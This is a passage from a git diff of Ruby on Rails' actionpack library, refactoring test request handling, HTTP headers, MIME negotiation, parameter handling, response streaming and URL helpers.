+          (args[0].key?(:format) && args[0].keys.size == 1) ||
+          args[0].keys.any? { |k| REQUEST_KWARGS.include?(k) }
+        )
+      end
+
+      def non_kwarg_request_warning
+        ActiveSupport::Deprecation.warn(<<-MSG.strip_heredoc)
+          ActionController::TestCase HTTP request methods will accept only
+          keyword arguments in future Rails versions.
+
+          Examples:
+
+          get :show, params: { id: 1 }, session: { user_id: 1 }
+          process :update, method: :post, params: { id: 1 }
+        MSG
+      end
+
+      def document_root_element
+        html_document.root
+      end
+
       def check_required_ivars
         # Sanity check for required instance variables so we can give an
         # understandable error message.
@@ -631,12 +794,11 @@ module ActionController
         unless @request.env["PATH_INFO"]
           options = @controller.respond_to?(:url_options) ? @controller.__send__(:url_options).merge(parameters) : parameters
           options.update(
-            :only_path => true,
             :action => action,
             :relative_url_root => nil,
-            :_recall => @request.symbolized_path_parameters)
+            :_recall => @request.path_parameters)
 
-          url, query_string = @routes.url_for(options).split("?", 2)
+          url, query_string = @routes.path_for(options).split("?", 2)
 
           @request.env["SCRIPT_NAME"] = @controller.config.relative_url_root
           @request.env["PATH_INFO"] = url
@@ -645,39 +807,11 @@ module ActionController
       end
 
       def html_format?(parameters)
-        return true unless parameters.is_a?(Hash)
+        return true unless parameters.key?(:format)
         Mime.fetch(parameters[:format]) { Mime['html'] }.html?
       end
     end
 
-    # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
-    # (skipping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
-    # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
-    # than 0.0.0.0.
-    #
-    # The exception is stored in the exception accessor for further inspection.
-    module RaiseActionExceptions
-      def self.included(base) #:nodoc:
-        unless base.method_defined?(:exception) && base.method_defined?(:exception=)
-          base.class_eval do
-            attr_accessor :exception
-            protected :exception, :exception=
-          end
-        end
-      end
-
-      protected
-        def rescue_action_without_handler(e)
-          self.exception = e
-
-          if request.remote_addr == "0.0.0.0"
-            raise(e)
-          else
-            super(e)
-          end
-        end
-    end
-
     include Behavior
   end
 end
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 24a3d4741e..dcd3ee0644 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -52,7 +52,6 @@ module ActionDispatch
     autoload :DebugExceptions
     autoload :ExceptionWrapper
     autoload :Flash
-    autoload :Head
     autoload :ParamsParser
     autoload :PublicExceptions
     autoload :Reloader
@@ -74,18 +73,16 @@ module ActionDispatch
     autoload :MimeNegotiation
     autoload :Parameters
     autoload :ParameterFilter
-    autoload :FilterParameters
-    autoload :FilterRedirect
     autoload :Upload
     autoload :UploadedFile, 'action_dispatch/http/upload'
     autoload :URL
   end
 
   module Session
-    autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
-    autoload :CookieStore,   'action_dispatch/middleware/session/cookie_store'
-    autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
-    autoload :CacheStore,    'action_dispatch/middleware/session/cache_store'
+    autoload :AbstractStore,     'action_dispatch/middleware/session/abstract_store'
+    autoload :CookieStore,       'action_dispatch/middleware/session/cookie_store'
+    autoload :MemCacheStore,     'action_dispatch/middleware/session/mem_cache_store'
+    autoload :CacheStore,        'action_dispatch/middleware/session/cache_store'
   end
 
   mattr_accessor :test_app
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
index f9b278349e..747d295261 100644
--- a/actionpack/lib/action_dispatch/http/cache.rb
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -69,17 +69,17 @@ module ActionDispatch
         end
 
         def date
-          if date_header = headers['Date']
+          if date_header = headers[DATE]
             Time.httpdate(date_header)
           end
         end
 
         def date?
-          headers.include?('Date')
+          headers.include?(DATE)
         end
 
         def date=(utc_time)
-          headers['Date'] = utc_time.httpdate
+          headers[DATE] = utc_time.httpdate
         end
 
         def etag=(etag)
@@ -89,10 +89,11 @@ module ActionDispatch
 
       private
 
+        DATE          = 'Date'.freeze
         LAST_MODIFIED = "Last-Modified".freeze
         ETAG          = "ETag".freeze
         CACHE_CONTROL = "Cache-Control".freeze
-        SPECIAL_KEYS  = %w[extras no-cache max-age public must-revalidate]
+        SPECIAL_KEYS  = Set.new(%w[extras no-cache max-age public must-revalidate])
 
         def cache_control_segments
           if cache_control = self[CACHE_CONTROL]
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
index 289e204ac8..2b851cc28d 100644
--- a/actionpack/lib/action_dispatch/http/filter_parameters.rb
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -6,8 +6,8 @@ module ActionDispatch
   module Http
     # Allows you to specify sensitive parameters which will be replaced from
     # the request log by looking in the query string of the request and all
-    # subhashes of the params hash to filter. If a block is given, each key and
-    # value of the params hash and all subhashes is passed to it, the value
+    # sub-hashes of the params hash to filter. If a block is given, each key and
+    # value of the params hash and all sub-hashes is passed to it, the value
     # or key can be replaced using String#replace or similar method.
     #
     #   env["action_dispatch.parameter_filter"] = [:password]
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
index 900ce1c646..cd603649c3 100644
--- a/actionpack/lib/action_dispatch/http/filter_redirect.rb
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -5,7 +5,8 @@ module ActionDispatch
       FILTERED = '[FILTERED]'.freeze # :nodoc:
 
       def filtered_location
-        if !location_filter.empty? && location_filter_match?
+        filters = location_filter
+        if !filters.empty? && location_filter_match?(filters)
           FILTERED
         else
           location
@@ -15,15 +16,15 @@ module ActionDispatch
     private
 
       def location_filter
-        if request.present?
+        if request
           request.env['action_dispatch.redirect_filter'] || []
         else
           []
         end
       end
 
-      def location_filter_match?
-        location_filter.any? do |filter|
+      def location_filter_match?(filters)
+        filters.any? do |filter|
           if String === filter
             location.include?(filter)
           elsif Regexp === filter
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
index 2666cd4b0a..bc5410dc38 100644
--- a/actionpack/lib/action_dispatch/http/headers.rb
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -1,34 +1,63 @@
 module ActionDispatch
   module Http
+    # Provides access to the request's HTTP headers from the environment.
+    #
+    #   env     = { "CONTENT_TYPE" => "text/plain" }
+    #   headers = ActionDispatch::Http::Headers.new(env)
+    #   headers["Content-Type"] # => "text/plain"
     class Headers
-      CGI_VARIABLES = %w(
-        CONTENT_TYPE CONTENT_LENGTH
-        HTTPS AUTH_TYPE GATEWAY_INTERFACE
-        PATH_INFO PATH_TRANSLATED QUERY_STRING
-        REMOTE_ADDR REMOTE_HOST REMOTE_IDENT REMOTE_USER
-        REQUEST_METHOD SCRIPT_NAME
-        SERVER_NAME SERVER_PORT SERVER_PROTOCOL SERVER_SOFTWARE
-      )
+      CGI_VARIABLES = Set.new(%W[
+        AUTH_TYPE
+        CONTENT_LENGTH
+        CONTENT_TYPE
+        GATEWAY_INTERFACE
+        HTTPS
+        PATH_INFO
+        PATH_TRANSLATED
+        QUERY_STRING
+        REMOTE_ADDR
+        REMOTE_HOST
+        REMOTE_IDENT
+        REMOTE_USER
+        REQUEST_METHOD
+        SCRIPT_NAME
+        SERVER_NAME
+        SERVER_PORT
+        SERVER_PROTOCOL
+        SERVER_SOFTWARE
+      ]).freeze
+
       HTTP_HEADER = /\A[A-Za-z0-9-]+\z/
 
       include Enumerable
       attr_reader :env
 
-      def initialize(env = {})
+      def initialize(env = {}) # :nodoc:
         @env = env
       end
 
+      # Returns the value for the given key mapped to @env.
       def [](key)
         @env[env_name(key)]
       end
 
+      # Sets the given value for the key mapped to @env.
       def []=(key, value)
         @env[env_name(key)] = value
       end
 
-      def key?(key); @env.key? key; end
+      def key?(key)
+        @env.key? env_name(key)
+      end
       alias :include? :key?
 
+      # Returns the value for the given key mapped to @env.
+      #
+      # If the key is not found and an optional code block is not provided,
+      # raises a <tt>KeyError</tt> exception.
+      #
+      # If the code block is provided, then it will be run and
+      # its result returned.
       def fetch(key, *args, &block)
         @env.fetch env_name(key), *args, &block
       end
@@ -37,12 +66,17 @@ module ActionDispatch
         @env.each(&block)
       end
 
+      # Returns a new Http::Headers instance containing the contents of
+      # <tt>headers_or_env</tt> and the original instance.
       def merge(headers_or_env)
         headers = Http::Headers.new(env.dup)
         headers.merge!(headers_or_env)
         headers
       end
 
+      # Adds the contents of <tt>headers_or_env</tt> to original instance
+      # entries; duplicate keys are overwritten with the values from
+      # <tt>headers_or_env</tt>.
       def merge!(headers_or_env)
         headers_or_env.each do |key, value|
           self[env_name(key)] = value
@@ -50,6 +84,8 @@ module ActionDispatch
       end
 
       private
+      # Converts a HTTP header name to an environment variable name if it is
+      # not contained within the headers hash.
       def env_name(key)
         key = key.to_s
         if key =~ HTTP_HEADER
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 40bb060d52..53a98c5d0a 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
         self.ignore_accept_header = false
       end
 
+      attr_reader :variant
+
       # The MIME type of the HTTP request, such as Mime::XML.
       #
       # For backward compatibility, the post \format is extracted from the
@@ -48,12 +50,18 @@ module ActionDispatch
       #   GET /posts/5       | request.format => Mime::HTML or MIME::JS, or request.accepts.first
       #
       def format(view_path = [])
-        formats.first
+        formats.first || Mime::NullType.instance
       end
 
       def formats
-        @env["action_dispatch.request.formats"] ||=
-          if parameters[:format]
+        @env["action_dispatch.request.formats"] ||= begin
+          params_readable = begin
+                              parameters[:format]
+                            rescue ActionController::BadRequest
+                              false
+                            end
+
+          if params_readable
             Array(Mime[parameters[:format]])
           elsif use_accept_header && valid_accept_header
             accepts
@@ -62,6 +70,21 @@ module ActionDispatch
           else
             [Mime::HTML]
           end
+        end
+      end
+
+      # Sets the \variant for template.
+      def variant=(variant)
+        if variant.is_a?(Symbol)
+          @variant = [variant]
+        elsif variant.nil? || variant.is_a?(Array) && variant.any? && variant.all?{ |v| v.is_a?(Symbol) }
+          @variant = variant
+        else
+          raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols, not a #{variant.class}. " \
+            "For security reasons, never directly set the variant to a user-provided value, " \
+            "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+            "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+        end
       end
 
       # Sets the \format by string extension, which can be used to force custom formats
@@ -113,7 +136,7 @@ module ActionDispatch
           end
         end
 
-        order.include?(Mime::ALL) ? formats.first : nil
+        order.include?(Mime::ALL) ? format : nil
       end
 
       protected
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index ef144c3c76..047a17937a 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,11 +1,12 @@
 require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/string/starts_ends_with'
 
 module Mime
   class Mimes < Array
     def symbols
-      @symbols ||= map { |m| m.to_sym }
+      @symbols ||= map(&:to_sym)
     end
 
     %w(<< concat shift unshift push pop []= clear compact! collect!
@@ -27,7 +28,7 @@ module Mime
   class << self
     def [](type)
       return type if type.is_a?(Type)
-      Type.lookup_by_extension(type) || NullType.new
+      Type.lookup_by_extension(type)
     end
 
     def fetch(type)
@@ -44,8 +45,8 @@ module Mime
   #
   #       respond_to do |format|
   #         format.html
-  #         format.ics { render text: post.to_ics, mime_type: Mime::Type["text/calendar"]  }
-  #         format.xml { render xml: @people }
+  #         format.ics { render text: @post.to_ics, mime_type: Mime::Type["text/calendar"]  }
+  #         format.xml { render xml: @post }
   #       end
   #     end
   #   end
@@ -173,7 +174,7 @@ module Mime
       end
 
       def parse(accept_header)
-        if accept_header !~ /,/
+        if !accept_header.include?(',')
           accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
           parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
         else
@@ -292,13 +293,13 @@ module Mime
   end
 
   class NullType
+    include Singleton
+
     def nil?
       true
     end
 
-    def ref
-      nil
-    end
+    def ref; end
 
     def respond_to_missing?(method, include_private = false)
       method.to_s.ends_with? '?'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee5e7..0e4da36038 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
 Mime::Type.register "text/css", :css
 Mime::Type.register "text/calendar", :ics
 Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
 
 Mime::Type.register "image/png", :png, [], %w(png)
 Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb
index b655a54865..df4b073a17 100644
--- a/actionpack/lib/action_dispatch/http/parameter_filter.rb
+++ b/actionpack/lib/action_dispatch/http/parameter_filter.rb
@@ -56,7 +56,7 @@ module ActionDispatch
             elsif value.is_a?(Array)
               value = value.map { |v| v.is_a?(Hash) ? call(v) : v }
             elsif blocks.any?
-              key = key.dup
+              key = key.dup if key.duplicable?
               value = value.dup if value.duplicable?
               blocks.each { |b| b.call(key, value) }
             end
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index dcb299ed03..c2f05ecc86 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -4,10 +4,7 @@ require 'active_support/core_ext/hash/indifferent_access'
 module ActionDispatch
   module Http
     module Parameters
-      def initialize(env)
-        super
-        @symbolized_path_params = nil
-      end
+      PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
 
       # Returns both GET and POST \parameters in a single hash.
       def parameters
@@ -18,55 +15,35 @@ module ActionDispatch
             query_parameters.dup
           end
           params.merge!(path_parameters)
-          params.with_indifferent_access
         end
       end
       alias :params :parameters
 
       def path_parameters=(parameters) #:nodoc:
-        @symbolized_path_params = nil
-        @env.delete("action_dispatch.request.parameters")
-        @env["action_dispatch.request.path_parameters"] = parameters
-      end
-
-      # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
-      def symbolized_path_parameters
-        @symbolized_path_params ||= path_parameters.symbolize_keys
+        @env.delete('action_dispatch.request.parameters')
+        @env[PARAMETERS_KEY] = parameters
       end
 
       # Returns a hash with the \parameters used to form the \path of the request.
       # Returned hash keys are strings:
       #
       #   {'action' => 'my_action', 'controller' => 'my_controller'}
-      #
-      # See <tt>symbolized_path_parameters</tt> for symbolized keys.
       def path_parameters
-        @env["action_dispatch.request.path_parameters"] ||= {}
-      end
-
-      def reset_parameters #:nodoc:
-        @env.delete("action_dispatch.request.parameters")
+        @env[PARAMETERS_KEY] ||= {}
       end
 
     private
 
-      # Convert nested Hash to HashWithIndifferentAccess
-      # and UTF-8 encode both keys and values in nested Hash.
+      # Convert nested Hash to HashWithIndifferentAccess.
       #
-      # TODO: Validate that the characters are UTF-8. If they aren't,
-      # you'll get a weird error down the road, but our form handling
-      # should really prevent that from happening
       def normalize_encode_params(params)
         case params
-        when String
-          params.force_encoding(Encoding::UTF_8).encode!
         when Hash
           if params.has_key?(:tempfile)
             UploadedFile.new(params)
           else
             params.each_with_object({}) do |(key, val), new_hash|
-              new_key = key.is_a?(String) ? key.dup.force_encoding(Encoding::UTF_8).encode! : key
-              new_hash[new_key] = if val.is_a?(Array)
+              new_hash[key] = if val.is_a?(Array)
                 val.map! { |el| normalize_encode_params(el) }
               else
                 normalize_encode_params(val)
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index aba8f66118..cadbfc88cb 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -23,7 +23,7 @@ module ActionDispatch
     autoload :Session, 'action_dispatch/request/session'
     autoload :Utils,   'action_dispatch/request/utils'
 
-    LOCALHOST   = Regexp.union [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
+    LOCALHOST   = Regexp.union [/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/]
 
     ENV_METHODS = %w[ AUTH_TYPE GATEWAY_INTERFACE
         PATH_TRANSLATED REMOTE_HOST
@@ -53,6 +53,17 @@ module ActionDispatch
       @uuid              = nil
     end
 
+    def check_path_parameters!
+      # If any of the path parameters has an invalid encoding then
+      # raise since it's likely to trigger errors further on.
+      path_parameters.each do |key, value|
+        next unless value.respond_to?(:valid_encoding?)
+        unless value.valid_encoding?
+          raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+        end
+      end
+    end
+
     def key?(key)
       @env.key?(key)
     end
@@ -64,6 +75,7 @@ module ActionDispatch
     # Ordered Collections Protocol (WebDAV) (http://www.ietf.org/rfc/rfc3648.txt)
     # Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol (http://www.ietf.org/rfc/rfc3744.txt)
     # Web Distributed Authoring and Versioning (WebDAV) SEARCH (http://www.ietf.org/rfc/rfc5323.txt)
+    # Calendar Extensions to WebDAV (http://www.ietf.org/rfc/rfc4791.txt)
     # PATCH Method for HTTP (http://www.ietf.org/rfc/rfc5789.txt)
     RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
     RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
@@ -71,9 +83,10 @@ module ActionDispatch
     RFC3648 = %w(ORDERPATCH)
     RFC3744 = %w(ACL)
     RFC5323 = %w(SEARCH)
+    RFC4791 = %w(MKCALENDAR)
     RFC5789 = %w(PATCH)
 
-    HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789
+    HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789
 
     HTTP_METHOD_LOOKUP = {}
 
@@ -92,6 +105,24 @@ module ActionDispatch
       @request_method ||= check_method(env["REQUEST_METHOD"])
     end
 
+    def routes # :nodoc:
+      env["action_dispatch.routes".freeze]
+    end
+
+    def original_script_name # :nodoc:
+      env['ORIGINAL_SCRIPT_NAME'.freeze]
+    end
+
+    def engine_script_name(_routes) # :nodoc:
+      env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]
+    end
+
+    def request_method=(request_method) #:nodoc:
+      if check_method(request_method)
+        @request_method = env["REQUEST_METHOD"] = request_method
+      end
+    end
+
     # Returns a symbol form of the #request_method
     def request_method_symbol
       HTTP_METHOD_LOOKUP[request_method]
@@ -152,6 +183,13 @@ module ActionDispatch
       Http::Headers.new(@env)
     end
 
+    # Returns a +String+ with the last requested path including their params.
+    #
+    #    # get '/foo'
+    #    request.original_fullpath # => '/foo'
+    #
+    #    # get '/foo?bar'
+    #    request.original_fullpath # => '/foo?bar'
     def original_fullpath
       @original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath)
     end
@@ -189,8 +227,8 @@ module ActionDispatch
     end
 
     # Returns true if the "X-Requested-With" header contains "XMLHttpRequest"
-    # (case-insensitive). All major JavaScript libraries send this header with
-    # every Ajax request.
+    # (case-insensitive), which may need to be manually added depending on the
+    # choice of JavaScript libraries and frameworks.
     def xml_http_request?
       @env['HTTP_X_REQUESTED_WITH'] =~ /XMLHttpRequest/i
     end
@@ -205,7 +243,7 @@ module ActionDispatch
       @remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s
     end
 
-    # Returns the unique request id, which is based off either the X-Request-Id header that can
+    # Returns the unique request id, which is based on either the X-Request-Id header that can
     # be generated by a firewall, load balancer, or web server or by the RequestId middleware
     # (which sets the action_dispatch.request_id environment variable).
     #
@@ -271,16 +309,16 @@ module ActionDispatch
 
     # Override Rack's GET method to support indifferent access
     def GET
-      @env["action_dispatch.request.query_parameters"] ||= (normalize_encode_params(super) || {})
-    rescue TypeError => e
+      @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {}))
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
       raise ActionController::BadRequest.new(:query, e)
     end
     alias :query_parameters :GET
 
     # Override Rack's POST method to support indifferent access
     def POST
-      @env["action_dispatch.request.request_parameters"] ||= (normalize_encode_params(super) || {})
-    rescue TypeError => e
+      @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {}))
+    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
       raise ActionController::BadRequest.new(:request, e)
     end
     alias :request_parameters :POST
@@ -300,16 +338,14 @@ module ActionDispatch
     end
 
     protected
-
-    def parse_query(qs)
-      Utils.deep_munge(super)
-    end
+      def parse_query(qs)
+        Utils.deep_munge(super)
+      end
 
     private
-
-    def check_method(name)
-      HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
-      name
-    end
+      def check_method(name)
+        HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS[0...-1].join(', ')}, and #{HTTP_METHODS[-1]}")
+        name
+      end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index 5247e61a23..4061ea71a3 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,4 +1,5 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'action_dispatch/http/filter_redirect'
 require 'monitor'
 
 module ActionDispatch # :nodoc:
@@ -90,7 +91,13 @@ module ActionDispatch # :nodoc:
       end
 
       def each(&block)
-        @buf.each(&block)
+        @response.sending!
+        x = @buf.each(&block)
+        @response.sent!
+        x
+      end
+
+      def abort
       end
 
       def close
@@ -117,6 +124,8 @@ module ActionDispatch # :nodoc:
       @blank        = false
       @cv           = new_cond
       @committed    = false
+      @sending      = false
+      @sent         = false
       @content_type = nil
       @charset      = nil
 
@@ -137,17 +146,37 @@ module ActionDispatch # :nodoc:
       end
     end
 
+    def await_sent
+      synchronize { @cv.wait_until { @sent } }
+    end
+
     def commit!
       synchronize do
+        before_committed
         @committed = true
         @cv.broadcast
       end
     end
 
-    def committed?
-      @committed
+    def sending!
+      synchronize do
+        before_sending
+        @sending = true
+        @cv.broadcast
+      end
+    end
+
+    def sent!
+      synchronize do
+        @sent = true
+        @cv.broadcast
+      end
     end
 
+    def sending?;   synchronize { @sending };   end
+    def committed?; synchronize { @committed }; end
+    def sent?;      synchronize { @sent };      end
+
     # Sets the HTTP status code.
     def status=(status)
       @status = Rack::Utils.status_code(status)
@@ -181,18 +210,6 @@ module ActionDispatch # :nodoc:
     end
     alias_method :status_message, :message
 
-    def respond_to?(method, include_private = false)
-      if method.to_s == 'to_path'
-        stream.respond_to?(method)
-      else
-        super
-      end
-    end
-
-    def to_path
-      stream.to_path
-    end
-
     # Returns the content of the response as a string. This contains the contents
     # of any calls to <tt>render</tt>.
     def body
@@ -245,13 +262,25 @@ module ActionDispatch # :nodoc:
       stream.close if stream.respond_to?(:close)
     end
 
+    def abort
+      if stream.respond_to?(:abort)
+        stream.abort
+      elsif stream.respond_to?(:close)
+        # `stream.close` should really be reserved for a close from the
+        # other direction, but we must fall back to it for
+        # compatibility.
+        stream.close
+      end
+    end
+
     # Turns the Response into a Rack-compatible array of the status, headers,
-    # and body.
+    # and body. Allows explict splatting:
+    #
+    #   status, headers, body = *response
     def to_a
       rack_response @status, @header.to_hash
     end
     alias prepare! to_a
-    alias to_ary   to_a
 
     # Returns the response cookies, converted to a Hash of (name => value) pairs
     #
@@ -272,6 +301,12 @@ module ActionDispatch # :nodoc:
 
   private
 
+    def before_committed
+    end
+
+    def before_sending
+    end
+
     def merge_default_headers(original, default)
       return original unless default.respond_to?(:merge)
 
@@ -302,6 +337,42 @@ module ActionDispatch # :nodoc:
       !@sending_file && @charset != false
     end
 
+    class RackBody
+      def initialize(response)
+        @response = response
+      end
+
+      def each(*args, &block)
+        @response.each(*args, &block)
+      end
+
+      def close
+        # Rack "close" maps to Response#abort, and *not* Response#close
+        # (which is used when the controller's finished writing)
+        @response.abort
+      end
+
+      def body
+        @response.body
+      end
+
+      def respond_to?(method, include_private = false)
+        if method.to_s == 'to_path'
+          @response.stream.respond_to?(method)
+        else
+          super
+        end
+      end
+
+      def to_path
+        @response.stream.to_path
+      end
+
+      def to_ary
+        nil
+      end
+    end
+
     def rack_response(status, header)
       assign_default_content_type_and_charset!(header)
       handle_conditional_get!
@@ -312,7 +383,7 @@ module ActionDispatch # :nodoc:
         header.delete CONTENT_TYPE
         [status, header, []]
       else
-        [status, header, self]
+        [status, header, RackBody.new(self)]
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index a8d2dc3950..540e11a4a0 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -18,6 +18,7 @@ module ActionDispatch
       # A +Tempfile+ object with the actual uploaded file. Note that some of
       # its interface is available directly.
       attr_accessor :tempfile
+      alias :to_io :tempfile
 
       # A string with the headers of the multipart request.
       attr_accessor :headers
@@ -26,7 +27,8 @@ module ActionDispatch
         @tempfile          = hash[:tempfile]
         raise(ArgumentError, ':tempfile is required') unless @tempfile
 
-        @original_filename = encode_filename(hash[:filename])
+        @original_filename = hash[:filename]
+        @original_filename &&= @original_filename.encode "UTF-8"
         @content_type      = hash[:type]
         @headers           = hash[:head]
       end
@@ -65,13 +67,6 @@ module ActionDispatch
       def eof?
         @tempfile.eof?
       end
-
-      private
-
-      def encode_filename(filename)
-        # Encode the filename in the utf8 encoding, unless it is nil
-        filename.force_encoding(Encoding::UTF_8).encode! if filename
-      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index 6f5a52c568..001b14ec97 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -5,99 +5,141 @@ module ActionDispatch
   module Http
     module URL
       IP_HOST_REGEXP  = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
-      HOST_REGEXP     = /(^.*:\/\/)?([^:]+)(?::(\d+$))?/
+      HOST_REGEXP     = /(^[^:]+:\/\/)?([^:]+)(?::(\d+$))?/
       PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/
 
       mattr_accessor :tld_length
       self.tld_length = 1
 
       class << self
-        def extract_domain(host, tld_length = @@tld_length)
-          host.split('.').last(1 + tld_length).join('.') if named_host?(host)
+        # Returns the domain part of a host given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_domain('www.example.com', 1) # => "example.com"
+        #    # Second-level domain example
+        #    extract_domain('dev.www.example.co.uk', 2) # => "example.co.uk"
+        def extract_domain(host, tld_length)
+          extract_domain_from(host, tld_length) if named_host?(host)
         end
 
-        def extract_subdomains(host, tld_length = @@tld_length)
+        # Returns the subdomains of a host as an Array given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_subdomains('www.example.com', 1) # => ["www"]
+        #    # Second-level domain example
+        #    extract_subdomains('dev.www.example.co.uk', 2) # => ["dev", "www"]
+        def extract_subdomains(host, tld_length)
           if named_host?(host)
-            parts = host.split('.')
-            parts[0..-(tld_length + 2)]
+            extract_subdomains_from(host, tld_length)
           else
             []
           end
         end
 
-        def extract_subdomain(host, tld_length = @@tld_length)
+        # Returns the subdomains of a host as a String given the domain level.
+        #
+        #    # Top-level domain example
+        #    extract_subdomain('www.example.com', 1) # => "www"
+        #    # Second-level domain example
+        #    extract_subdomain('dev.www.example.co.uk', 2) # => "dev.www"
+        def extract_subdomain(host, tld_length)
           extract_subdomains(host, tld_length).join('.')
         end
 
-        def url_for(options = {})
-          options = options.dup
-          path  = options.delete(:script_name).to_s.chomp("/")
-          path << options.delete(:path).to_s
-
-          params = options[:params].is_a?(Hash) ? options[:params] : options.slice(:params)
-          params.reject! { |_,v| v.to_param.nil? }
-
-          result = build_host_url(options)
-          if options[:trailing_slash]
-            if path.include?('?')
-              result << path.sub(/\?/, '/\&')
-            else
-              result << path.sub(/[^\/]\z|\A\z/, '\&/')
-            end
+        def url_for(options)
+          if options[:only_path]
+            path_for options
           else
-            result << path
+            full_url_for options
           end
-          result << "?#{params.to_query}" unless params.empty?
-          result << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
-          result
         end
 
-        private
+        def full_url_for(options)
+          host     = options[:host]
